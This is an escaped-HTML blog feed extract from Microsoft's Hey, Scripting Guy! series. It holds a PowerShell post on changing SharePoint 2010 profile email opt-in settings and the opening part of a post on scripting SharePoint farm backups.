&lt;p style="padding-left:30px;"&gt;&lt;span style="font-size:small;"&gt;&lt;b&gt;&lt;span style="font-family:Segoe;"&gt;Note&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:Segoe;"&gt;&amp;nbsp; &amp;nbsp;The script for today&amp;rsquo;s blog article appears on the &lt;/span&gt;&lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Setting-the-SPS-EmailOptin-53877534"&gt;&lt;span style="font-family:Segoe;"&gt;Scripting Guys Script Repository&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;I am working with a customer to automate the installation and configuration of SharePoint Server 2010 using Windows PowerShell.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;I would like to show you one of the functions that we are using to configure profiles after we have completed an import. The customer is highly regulated and has users that cannot communicate in any form with other users, so when it was discovered that profiles by default would send email for several different reasons, we had to reverse it.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;We will be editing the profile property called &lt;b&gt;SPS-MailOptIn&lt;/b&gt;. In the GUI, it is represented by three check boxes. &lt;/span&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;First, you want to load the following assembly so that we can work with the profiles:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Add-Type -Path &amp;quot;c:\program files\common files\microsoft shared\web server extensions\14\isapi\microsoft.office.server.dll&amp;quot;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;And don&amp;rsquo;t forget to ensure that the SharePoint snap-in is loaded because we will want to use commands from it. You can use the following lines to verify or load that info. This snap-in is installed on all SharePoint installations and automatically loaded, if using the SharePoint 2010 Management Shell:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$PSSnapIn = Get-PSSnapin | where {$_.Name -like &amp;quot;*sharepoint*&amp;quot;}&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;if(!($PSSnapIn.Name -like &amp;quot;*sharepoint*&amp;quot;))&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;{&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Add-PSSnapin Microsoft.SharePoint.PowerShell&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Then we need to load the &lt;b&gt;UserProfileManager&lt;/b&gt;, and I do so with the following code. To be able to manage this, the account running the script will need to be a User Profile Service Application Administrator with at least Manage Profile permissions:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$Site = Get-SPSite -Limit 1&amp;nbsp;&amp;nbsp;&amp;nbsp; #Get Site for Service context&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$ServiceContext = Get-SPServiceContext($Site)&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$ProfileManager = new-object Microsoft.Office.Server.UserProfiles.UserProfileManager($ServiceContext)&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$Profiles = $ProfileManager.GetEnumerator()&amp;nbsp;&amp;nbsp;&amp;nbsp; #Load all profiles into array&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Using &lt;b&gt;Get-SPSite&lt;/b&gt; has two advantages. The first advantage is that I do not have to worry about disposing of the object because Windows PowerShell will do that for me. The second advantage is that by using the switch &lt;b&gt;-Limit&lt;/b&gt; set to &lt;b&gt;1&lt;/b&gt;, I get one site to connect to and don&amp;rsquo;t have to worry about personalizing it to the farm before running the script.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Then I throw everything into a &lt;b&gt;For &lt;/b&gt;loop, iterate through all the profiles, and get the property using the following:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$OriginalValue = $Profile[&amp;quot;SPS-EmailOptin&amp;quot;].Value&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;After I get the value, I save it to a text file to ensure that I have it in the future, if needed. Then, as I had mentioned, only some users are regulated, so we compare the profiles name to a list of regulated users, and if not in the list, we proceed to change the value with the following line:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$Profile[&amp;quot;SPS-EmailOptin&amp;quot;].Value = $EmailOptInValue&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;The variable &lt;b&gt;$EmailOptInValue&lt;/b&gt; represents three integers. Each number can be 0 or 1. 0 means the box is checked, and 1 means it is not. As an example, the variable could be loaded with the 101 or 010:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;The first digit is for &amp;ldquo;Notify me when someone leaves a note on my profile.&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;The second digit is for &amp;ldquo;Notify me when someone adds me as a colleague.&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;The third digit is for &amp;ldquo;Send me suggestions for new colleagues and keywords.&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Finally, I commit the change, which I have wrapped in an &lt;b&gt;If&lt;/b&gt; statement. This allows me to have &lt;b&gt;whatif&lt;/b&gt; functionality, which was important for my customer:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;if(!($Whatif))&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;{&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;$Profile.Commit()&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;I hope this function helps you to improve your SharePoint environment through the use of Windows PowerShell. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;Thanks, Chris, for writing this blog and sharing your script with us. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:small;"&gt;&lt;span style="font-family:Segoe;"&gt;I invite you to follow me on &lt;/span&gt;&lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;&lt;span style="font-family:Segoe;"&gt;Twitter&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt; and &lt;/span&gt;&lt;a href="http://bit.ly/scriptingguysfacebook"&gt;&lt;span style="font-family:Segoe;"&gt;Facebook&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt;. If you have any questions, send email to me at &lt;/span&gt;&lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;&lt;span style="font-family:Segoe;"&gt;scripter@microsoft.com&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt;, or post your questions on the &lt;/span&gt;&lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;&lt;span style="font-family:Segoe;"&gt;Official Scripting Guys Forum&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Segoe;"&gt;. See you tomorrow. Until then, peace.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:small;"&gt;&lt;b&gt;Ed Wilson, Microsoft Scripting Guy&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family:Segoe;font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3464025" width="1" height="1" alt="" /&gt;</description></item><item><title>Use PowerShell to Back Up Your SharePoint Farm</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2011/06/22/use-powershell-to-back-up-your-sharepoint-farm.aspx</link><pubDate>Wed, 22 Jun 2011 05:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:10950</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="line-height:10pt;list-style-type:disc;margin:4pt 0in 7pt;" class="CodeBlock"&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span&gt;&lt;span style="font-size:10pt;"&gt;Summary&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span style="font-size:10pt;"&gt;: Learn how to use Windows PowerShell to back up your SharePoint farm.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:10pt;list-style-type:disc;margin:4pt 0in 7pt;" class="CodeBlock"&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&lt;img title="Hey, Scripting Guy! Question" border="0" alt="Hey, Scripting Guy! Question" align="left" src="http://img.microsoft.com/library/media/1033/technet/images/scriptcenter/qanda/q-sm.jpg" width="34" height="34" /&gt;Hey, Scripting Guy! I&amp;rsquo;ve heard that I can automate the backup of my SharePoint farm with a Windows PowerShell script, but it seems like it&amp;rsquo;s a lot more complicated than just calling STSADM or &lt;strong&gt;Backup-SPFarm&lt;/strong&gt;? What should I be including in my SharePoint farm backup script?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&amp;mdash;FJ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&lt;img title="Hey, Scripting Guy! Answer" border="0" alt="Hey, Scripting Guy! Answer" align="left" src="http://img.microsoft.com/library/media/1033/technet/images/scriptcenter/qanda/a-sm.jpg" width="34" height="34" /&gt; Hello FJ, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;Microsoft Scripting Guy, Ed Wilson, is here. I am so glad you asked that question. It gave me the opportunity to contact John Ferringer again because I knew this was right up his alley. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18-metablogapi/3157.HSG_2D00_6_2D00_22_2D00_11_2D00_1_5F00_59261CED.png"&gt;&lt;img style="background-image:none;padding-left:0px;padding-right:0px;display:inline;padding-top:0px;border:0px;" title="Photo of John Ferringer" alt="Photo of John Ferringer" src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18-metablogapi/3566.HSG_2D00_6_2D00_22_2D00_11_2D00_1_5F00_thumb_5F00_77242AE1.png" width="197" height="244" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Segoe;font-size:10pt;"&gt;John Ferringer is a senior manager consultant with Sogeti, LLC. He has more than seven years of experience administering and supporting SharePoint technologies, and he has spent more than thirteen years working in the technology consulting industry. John is certified as an MCITP and MCTS on several platforms, including Windows Server 2008, SharePoint, SCOM, and Project Server. He has coauthored the &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10pt;"&gt;&lt;a href="http://tinyurl.com/spdr2010book" target="_blank"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;SharePoint 2010 Disaster Recovery Guide&lt;/span&gt;&lt;/a&gt;.&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;"&gt; His blog can be found at &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.MyCentralAdmin.com" target="_blank"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;http://www.MyCentralAdmin.com&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;"&gt;, and he&amp;#39;s on Twitter as &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.Twitter.com/ferringer"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;@Ferringer&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;font-size:10pt;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;Protecting a SharePoint farm can be pretty challenging. It&amp;rsquo;s one of those all too familiar IT problems that seems pretty straightforward (&amp;ldquo;Hey, let&amp;rsquo;s just run that Backup cmdlet and call it a day!&amp;rdquo;)&amp;mdash;until you start diving into it and realize that there&amp;rsquo;s a lot more than that to getting it right. The nice thing is that we are talking about a pretty specific situation here: how to script a backup of a SharePoint farm by using SharePoint&amp;rsquo;s own backup tools. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;Interestingly, the general intent and scope of SharePoint&amp;rsquo;s backup command-line tools did not change much from the product&amp;rsquo;s 2007 release to its 2010 release. Yes, SharePoint 2010 ships with plenty of great Windows PowerShell cmdlets, which is quite a big deal for the broader SharePoint command-line management story, but when it comes down to it, STSADM&amp;rsquo;s Backup operation with its catastrophic options are not a whole lot different from the new &lt;b style="mso-bidi-font-weight:normal;"&gt;Backup-SPFarm&lt;/b&gt; cmdlet. In addition, compatibility for STSADM was retained in SharePoint 2010, so if you already had a script that uses it, you can continue to take advantage of that investment if you want to.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;A Windows PowerShell script for a SharePoint backup can be pretty simple. Just call &lt;b style="mso-bidi-font-weight:normal;"&gt;Backup-SPFarm &lt;/b&gt;or STSADM&amp;rsquo;s Backup operation, wrap it in some error checking logic, save it, create a Windows Scheduled Task to run it, and you&amp;rsquo;re good to go. If that&amp;rsquo;s the route you want to take, SharePoint&amp;rsquo;s backup tools still have some requirements that you need to keep in mind:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div style="line-height:11pt;list-style-type:disc;text-indent:0in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l0 level1 lfo1;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpFirst"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;A SharePoint 2007 or 2010 farm&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div style="line-height:11pt;list-style-type:disc;text-indent:0in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l0 level1 lfo1;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;A service account to run the Scheduled Task that calls the script (try to avoid using a named user&amp;rsquo;s account to run the task). The account must have the following rights:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div style="line-height:11pt;list-style-type:disc;text-indent:0in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l0 level1 lfo1;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;If you&amp;rsquo;re using SharePoint 2010, it must be granted the &lt;b style="mso-bidi-font-weight:normal;"&gt;SharePoint_Shell_Access&lt;/b&gt; role via the &lt;b style="mso-bidi-font-weight:normal;"&gt;Add-SPShellAdmin&lt;/b&gt; CMDLET. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div style="line-height:11pt;list-style-type:disc;text-indent:0in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l0 level1 lfo1;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;If you&amp;rsquo;re using SharePoint 2007, it must be granted local Administrator rights on the server that is running the script, and it must be an owner in SQL Server of the SharePoint databases you&amp;rsquo;re targeting.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div style="line-height:11pt;list-style-type:disc;text-indent:0in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l0 level1 lfo1;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Granted Full Control of the directory where you&amp;rsquo;ll be storing your backups.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;
&lt;div style="line-height:11pt;list-style-type:disc;text-indent:0in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l0 level1 lfo1;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpLast"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;A directory for storing backups. If SharePoint and SQL Server are installed locally on the same server, this can be a path on the server&amp;rsquo;s file system (for example, C:\backups\). If SharePoint and SQL Server aren&amp;rsquo;t on the same server, this &lt;em&gt;must&lt;/em&gt; be a shared drive with a UNC path (for example, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10pt;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;\\server\backups&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;color:#000000;font-size:10pt;"&gt;).&lt;span style="mso-spacerun:yes;"&gt; &lt;/span&gt;The account running the SharePoint Timer Job service and the SQL Server service account for SharePoint&amp;rsquo;s SQL Server instance &lt;em&gt;must&lt;/em&gt; both have full control of the directory.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;If you want to keep it vanilla, you can stop here. However, if you want to really turn things up to eleven, I have some further suggestions for you. It&amp;rsquo;s a bit more complex, but to me there&amp;rsquo;s a lot more that you need to take into account when backing up SharePoint. You want to provide your environment with the most effective, thorough, and (most importantly) repeatable protection possible. You want it to work right every time, yet you need it to efficiently use your available resources to provide that consistent protection.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;The following is a list of items that I think are &amp;ldquo;must haves&amp;rdquo; for an effective SharePoint backup script that goes to eleven:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpFirst"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;Analyze available storage before attempting a backup. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;If you don&amp;rsquo;t have the storage available to keep a backup, your script needs to be able to handle that situation gracefully and report it effectively.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;Take regular backups.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt; My general guidance for your backup frequency would be to do them at least daily, but your requirements may vary. Remember, the more you run backups, the greater the performance impact on your farm. The less frequently you back up, the less up-to-date your backups are.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Take advantage of varied backup types.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;SharePoint allows you to perform both Full and Differential backups, so you want a script that is more heavily weighted toward Differential backups to save space, but a script that still takes regular Full backups to keep things current. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Note &lt;/strong&gt;&amp;nbsp;Differential backups capture everything that&amp;rsquo;s changed in the target SharePoint farm, database, or site collection since the last backup, rather than including everything in the farm. Differential backups require that you first take a Full backup, so you always have to have at least one Full backup. But you also want to continue to perform regular Full backups because large numbers of Differential backups can take a long time to restore.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
